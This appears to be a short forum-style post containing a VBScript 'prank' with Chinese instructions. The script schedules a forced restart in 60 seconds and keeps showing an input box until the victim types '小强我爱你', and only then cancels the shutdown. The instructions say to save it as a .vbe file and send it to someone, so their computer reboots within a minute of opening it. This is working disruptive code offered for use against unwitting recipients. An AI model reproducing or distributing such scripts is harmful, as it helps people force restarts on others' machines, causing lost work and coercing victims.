on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说小强我爱你，不说小强我爱你就一分钟关机，呵呵，宝贝···"" ",1 ,true
dim a
do while(a <> "小强我爱你")
a = inputbox ("说小强我爱你,就不关机，快点，说 ""小强我爱你"" ","说不说","宝贝你敢不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "缘系七月 情定终身 "
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "宝贝，我爱你"
顺数第七行 小强我爱你 为答案，可以随便改把上面的文字复制到记事本内。另存为名字随便你起记住后面的一定要加 .vbe
使用文件传送给对方 只要对方一打开一分钟就会关机。如上面说的要你说那三个字就不会关机了哈哈大家试试吧。这个是恶搞小代码程序你也可以在自己的机子上试，可千万别忘记答案哦！忘了1分钟后就会关机！现在没G，弄点小代码给大家玩玩
